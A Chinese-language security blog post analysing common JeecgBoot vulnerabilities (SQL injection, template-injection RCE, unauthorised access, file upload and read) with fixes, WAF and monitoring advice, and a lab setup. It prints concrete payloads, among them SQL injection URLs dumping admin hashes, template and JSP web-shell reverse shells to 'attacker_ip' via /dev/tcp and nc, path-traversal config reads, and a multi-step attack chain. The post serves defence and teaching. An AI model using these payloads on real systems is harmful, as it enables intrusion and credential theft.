当前位置: 首页 > news >正文

【Web安全】JeecgBoot框架SRC高频漏洞分析总结

文章目录

    • 前言
    • 一、核心漏洞分类与技术细节
      • 1. SQL注入漏洞(3.4.3≤版本≤3.8.1)
        • 漏洞原理
        • 利用场景
        • 修复方案
      • 2. SSTI模板注入与RCE漏洞(3.5.0≤版本≤3.8.0)
        • 漏洞原理
        • 利用场景
        • 修复方案
      • 3. 未授权访问与权限绕过漏洞(全版本默认配置)
        • 漏洞原理
        • 利用场景
        • 修复方案
      • 4. 文件操作漏洞(3.0≤版本≤3.7.0)
        • 漏洞原理
        • 利用场景
        • 修复方案
    • 二、漏洞关联利用与攻击路径
      • 1. 组合攻击示例(JeecgBoot全漏洞链)
      • 2. 典型攻击载荷
        • (1)SQL注入获取管理员密码(JeecgBoot 3.7.0)
        • (2)SSTI模板注入RCE(JeecgBoot 3.6.0)
        • (3)未授权文件上传(JeecgBoot 3.5.0)
    • 三、版本演进与修复策略
    • 四、安全运维建议
      • 1. 基础防护
      • 2. 动态监测
      • 3. 版本管理
    • 五、典型漏洞复现环境搭建
      • 1. 环境配置(以JeecgBoot 3.7.0为例)
        • 步骤1:环境准备
        • 步骤2:初始化部署
        • 步骤3:服务启动
      • 2. 漏洞验证(SQL注入漏洞)
        • 步骤1:构造恶意请求
        • 步骤2:解析响应结果
        • 步骤3:破解密码
      • 3. 参考链接
    • 六、总结

前言

JeecgBoot是国内主流的开源低代码开发平台,基于Spring Boot、MyBatis-Plus、Vue3等技术栈构建,涵盖快速开发、表单设计、报表统计、流程引擎等核心功能,广泛应用于政府、企业、互联网等领域,承担业务系统快速搭建、数据管理、协同办公等关键任务。

其架构核心为“前端可视化设计层(Vue3+Element Plus)”、“后端服务层(Spring Boot+Spring Security)”、“数据持久层(MyBatis-Plus+Minidao)”、“第三方组件层(Fastjson、Jmreport、AviatorScript)”。随着低代码开发模式的普及,JeecgBoot因“快速开发优先于安全配置”的设计特性、第三方组件漏洞遗留、默认配置弱化安全校验等问题,暴露出高频安全漏洞,成为安全响应中心(SRC)常见上报类型,可能导致敏感数据泄露、服务器被控、业务系统篡改等严重后果。本文针对JeecgBoot高频漏洞展开深度分析,为安全防护提供技术参考。

一、核心漏洞分类与技术细节

1. SQL注入漏洞(3.4.3≤版本≤3.8.1)

漏洞原理

JeecgBoot部分自动生成的接口及报表查询模块未使用参数化查询,直接拼接用户输入作为SQL语句执行,部分接口存在黑名单校验绕过问题:

  • 报表模块/jeecg-boot/online/cgreport/head/parseSql接口,带括号表名触发SQL解析异常,导致黑名单过滤失效;
  • 积木报表/jmreport/qurestSql接口的apiSelectId参数未做预处理,直接拼接进SELECT语句;
  • 依赖的Minidao持久层框架未强制启用参数化查询,开发者自定义SQL时易引发注入风险。
利用场景

攻击者通过构造恶意参数发起请求,获取数据库敏感数据或管理员凭证:
访问http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1 UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='admin'--
提取响应中管理员账号admin及密码哈希e10adc3949ba59abbe56e057f20f883e(MD5加密的“123456”);
通过彩虹表破解哈希,获取明文密码后登录系统。

修复方案

升级至JeecgBoot 3.8.1+版本(官方修复SQL解析逻辑与注入点);
接口加固:所有SQL查询统一使用MyBatis-Plus参数化查询(#{}占位符),禁用字符串拼接(${});
组件升级:将Minidao升级至1.9.0+版本,启用SQL注入防护开关;
输入过滤:对报表查询、数据统计类接口添加关键词过滤(UNIONINSERTOR等)。

2. SSTI模板注入与RCE漏洞(3.5.0≤版本≤3.8.0)

漏洞原理

JeecgBoot集成的Jmreport积木报表、AviatorScript表达式引擎存在模板解析安全缺陷:

  • Jmreport组件未过滤Freemarker模板中的恶意表达式,允许${}语法执行系统命令;
  • AviatorScript引擎在处理用户输入的表达式时,未限制危险类调用,可通过反射触发任意代码执行;
  • 漏洞接口多未做身份认证,攻击者无需登录即可利用。
利用场景

攻击者通过构造恶意模板表达式,实现远程代码执行:
发送POST请求至http://target:8080/jeecg-boot/jmreport/loadTableData,请求体为:

{"reportId": "1","params": {"name": "${new java.lang.ProcessBuilder(new String[]{\"bash\",\"-i\",\">&\",\"/dev/tcp/attacker_ip/4444\",\"0>&1\"}).start()}"}
}

攻击机监听4444端口,成功获取服务器反弹Shell,进而控制整个业务系统。

修复方案

升级至JeecgBoot 3.8.1+版本(官方限制模板表达式执行权限);
组件配置加固:禁用Freemarker模板的new关键字与静态方法调用,限制AviatorScript可调用的类白名单;
接口防护:为Jmreport、表达式解析类接口添加身份认证与权限校验,仅允许管理员访问。

3. 未授权访问与权限绕过漏洞(全版本默认配置)

漏洞原理

JeecgBoot部分核心接口未配置身份认证,或鉴权逻辑存在缺陷可被绕过:

  • 数据接口:/sys/user/checkOnlyUser(未授权查询用户名存在性)、/sys/role/list(未授权获取角色信息);
  • 功能接口:/api/jeecg-boot/sys/common/upload(未授权文件上传)、/online/cgreport/exportExcel(未授权导出报表数据);
  • 路径遍历绕过:通过../目录穿越绕过接口鉴权,访问敏感资源。
利用场景

攻击者无需登录即可批量窃取企业敏感数据:
访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser?username=admin,通过响应状态判断管理员账号是否存在;
访问http://target:8080/jeecg-boot/online/cgreport/exportExcel?reportId=1,直接下载包含客户信息、财务数据的Excel报表;
通过路径遍历http://target:8080/jeecg-boot/api/../sys/config/getConfig,绕过/api接口鉴权,获取数据库连接密码。

修复方案

配置接口权限:在application.yml中启用全局接口鉴权,为/sys/*/online/*/jmreport/*接口添加登录校验;
鉴权逻辑加固:修复路径遍历漏洞,过滤请求URL中的.././等特殊字符;
敏感接口防护:为用户信息查询、数据导出接口添加IP白名单,仅允许企业内网访问。

4. 文件操作漏洞(3.0≤版本≤3.7.0)

漏洞原理

JeecgBoot文件上传与下载模块存在多重安全缺陷:

  • 文件上传:未校验文件后缀与实际内容,允许上传.jsp.jspx等可执行脚本,且上传路径位于Tomcat webapps目录下;
  • 文件读取:目录遍历防护缺失,攻击者可通过构造特殊路径读取系统配置文件、数据库密钥;
  • 权限管控:文件上传接口未限制上传者身份,任意用户均可上传恶意文件。
利用场景

攻击者通过未授权文件上传植入后门,控制服务器:
使用curl发送上传请求:

curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "fileType=image"

其中shell.jsp内容为:

<%@ page import="java.io.*"%>
<% 
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker_ip/4444 0>&1"); 
%>

访问http://target:8080/jeecg-boot/upload/shell.jsp,触发后门获取服务器权限;
通过文件读取漏洞访问http://target:8080/jeecg-boot/sys/common/download?path=../../application.yml,获取数据库账号密码。

修复方案

升级至JeecgBoot 3.8.0+版本(官方修复文件操作逻辑);
文件上传加固:添加后缀白名单(仅允许.jpg.pdf.docx等常用格式),校验文件内容(如JPG文件首字节FF D8);
路径配置:将上传文件存储路径移出Tomcat webapps目录,禁用上传目录脚本执行权限;
文件读取防护:限制读取路径前缀,仅允许访问指定文件目录,过滤../等遍历字符。

二、漏洞关联利用与攻击路径

1. 组合攻击示例(JeecgBoot全漏洞链)

步骤1:未授权信息收集
访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser接口,批量探测出管理员账号admin
通过/sys/role/list接口获取企业组织架构与权限配置信息。

步骤2:SQL注入破解密码
利用/jmreport/qurestSql接口注入SQL,查询sys_user表获取admin的密码哈希e10adc3949ba59abbe56e057f20f883e,破解为明文123456

步骤3:文件上传植入后门
使用admin/123456登录系统,进入“文档管理”模块,上传伪装为test.pdf的JSP后门(修改后缀为.jsp),获取后门路径http://target:8080/jeecg-boot/upload/backdoor.jsp

步骤4:内网横向渗透
通过后门获取服务器内网IP段(如192.168.2.0/24),使用Nmap扫描内网其他JeecgBoot实例(默认端口8080),复用未授权访问与SQL注入漏洞,扩大控制范围。

2. 典型攻击载荷

(1)SQL注入获取管理员密码(JeecgBoot 3.7.0)
curl "http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
(2)SSTI模板注入RCE(JeecgBoot 3.6.0)
curl -X POST "http://target:8080/jeecg-boot/jmreport/loadTableData" \
-H "Content-Type: application/json" \
-d '{"reportId": "test","params": {"cmd": "${Runtime.getRuntime().exec(\"nc attacker_ip 4444 -e /bin/bash\")}"}
}'
(3)未授权文件上传(JeecgBoot 3.5.0)
curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "bizType=doc" \
-F "fileType=doc"

三、版本演进与修复策略

漏洞类型影响版本修复版本核心变更点
SQL注入漏洞3.4.3≤版本≤3.8.13.8.1+修复jmreport/qurestSql等注入点,强制启用参数化查询
SSTI模板注入与RCE3.5.0≤版本≤3.8.03.8.1+限制Freemarker/AviatorScript危险调用,添加模板表达式白名单
未授权访问与权限绕过全版本默认配置3.8.0+为敏感接口添加登录校验,修复路径遍历漏洞,新增接口权限管理模块
文件操作漏洞3.0≤版本≤3.7.03.8.0+强化文件后缀与内容校验,移出上传文件至非Web目录,禁用脚本执行权限

四、安全运维建议

1. 基础防护

  • 网络隔离:JeecgBoot服务器不直接暴露公网,通过堡垒机或VPN供内部人员访问;仅开放80/443等必要端口,限制办公网IP访问。
  • 配置加固:
    • 修改默认账号密码:强制将admin默认密码(123456)改为“大小写字母+数字+特殊符号”组合,定期轮换;
    • 禁用危险功能:关闭未使用的Jmreport报表功能、AviatorScript表达式引擎,删除bsh.jar等风险组件;
    • 数据库防护:限制JeecgBoot服务器IP仅能访问数据库,禁止数据库账号远程登录,启用数据库审计日志。

2. 动态监测

  • WAF规则拦截:
    • 拦截SQL注入请求:过滤含UNIONAND 1=1OR等关键词的请求;
    • 拦截SSTI注入请求:过滤Freemarker模板表达式${}#{}, 限制危险类调用;
    • 拦截恶意文件上传:过滤.jsp.jspx.asp等可执行后缀,拦截包含Runtime.exec的文件内容。
  • 日志审计:
    • 监控登录日志:重点关注异地登录、多次登录失败事件,防范暴力破解;
    • 监控敏感操作:跟踪文件上传、数据导出、SQL查询等行为,发现异常及时阻断;
    • 日志分析:使用ELK等工具集中管理日志,定期排查潜在攻击行为。

3. 版本管理

  • 定期版本检查:通过JeecgBoot后台“系统监控-关于”查看版本,对照官方漏洞公告确认风险;使用官方提供的漏洞检测工具扫描当前系统。
  • 自动化升级:在CI/CD流程中集成OWASP Dependency-Check工具,检测第三方组件漏洞;官方发布安全补丁后,72小时内完成测试与升级(优先升级生产环境)。

五、典型漏洞复现环境搭建

1. 环境配置(以JeecgBoot 3.7.0为例)

步骤1:环境准备
  • 操作系统:Windows Server 2019(或Linux Ubuntu 20.04);
  • 依赖软件:JDK 1.8(配置JAVA_HOME)、Tomcat 9.0(端口8080)、MySQL 8.0(编码utf8mb4)、Maven 3.6.3;
  • 漏洞版本:JeecgBoot 3.7.0(可从GitHub官方仓库下载源码)。
步骤2:初始化部署
  • 下载JeecgBoot 3.7.0源码,修改application-dev.yml中的MySQL连接信息(数据库名jeecg-boot,用户名root,密码123456);
  • 执行数据库初始化脚本(db/jeecg-boot-mysql-3.7.0.sql);
  • 使用Maven打包:mvn clean package -Dmaven.test.skip=true,获取jeecg-boot.war文件;
  • jeecg-boot.war放入Tomcat的webapps目录,启动Tomcat自动解压部署。
步骤3:服务启动
  • 启动MySQL:net start mysql(Windows)或systemctl start mysqld(Linux);
  • 启动Tomcat:运行Tomcat/bin/startup.bat(Windows)或startup.sh(Linux);
  • 验证访问:访问http://localhost:8080/jeecg-boot/login,使用默认账号admin/123456登录。

2. 漏洞验证(SQL注入漏洞)

步骤1:构造恶意请求

使用curl构造SQL注入请求,获取管理员账号密码:

curl "http://localhost:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
步骤2:解析响应结果

响应中会返回admin账号及对应的密码哈希e10adc3949ba59abbe56e057f20f883e

步骤3:破解密码

通过MD5彩虹表查询,破解哈希值为明文密码123456,成功获取管理员凭证。

3. 参考链接

  • JeecgBoot官方漏洞公告:https://www.jeecg.com/docs/other/security-notice
  • Vulhub JeecgBoot漏洞环境:https://github.com/vulhub/vulhub/tree/master/jeecgboot
  • JeecgBoot SQL注入漏洞深度分析:https://xz.aliyun.com/t/12089

六、总结

JeecgBoot的高频漏洞主要源于低代码开发模式的安全校验缺失、第三方组件漏洞遗留、默认配置弱化安全防护三大核心问题。作为企业快速开发业务系统的核心框架,其漏洞一旦被利用,不仅会导致敏感数据泄露、业务系统瘫痪,还可能成为攻击者突破企业内网的“跳板”。

http://www.dtcms.com/a/590435.html

相关文章:

  • 花都微网站建设北京网站制作出名 乐云践新
  • 路径总和(C)
  • 网站模版怎么样网站内容一样影响收录
  • 网站开发怎么接入支付宝中山企业网站的建设
  • 做网站参考文献河北网站建设价格低
  • 天河建设网站报价网页打不开qq可以上qq
  • 郑州网站推广电话wordpress发布文章 自定义栏目
  • 深圳市住房和城乡建设局网站首页静态网站建设背景
  • 做编程的网站有哪些大航母网站建设案例
  • 青岛制作企业网站百度信誉任何在网站展示
  • 深入浅出 Ascend C:新一代算子开发接口 Aclnn 原理解析与实践
  • 山西省洪涝灾害应急物资体系优化研究 - 核心章节建模与算法实施方案
  • 做生物学的网站平板室内装修设计软件
  • 为什么要建设个人网站网站建设优惠活动
  • 八.Docker-compose容器编排-生产环境用Kubernetes替代
  • ComfyUI高级应用之图片放大
  • 编程的网站免费外链网站
  • 网站开发的经费预算免费发布信息网站平台
  • 郑州那个公司做网站好福州自助建站
  • 昆山建设银行交学费的网站公众号推文模板
  • 河南企业网站优化电商网站设计企业
  • python 根据坐标将图片进行裁图
  • 四川省安监站网址安庆网站建设推荐秒搜科技
  • 烟台网站建设的方法有哪些wordpress主播主题
  • 网站集约化建设讲话稿网页设计图片位置怎么设置
  • 清远住房和城乡建设部网站wordpress权限ip
  • 矢量网站动画怎么做崇卅市网站建设
  • xiyuetaCMS 网站前台在线修改功能:让内容管理变得简单快捷
  • 基于微调模型兜底的RAG系统:错误检测与召回率评估
  • 做网站的如何说服客户网站制作公司合肥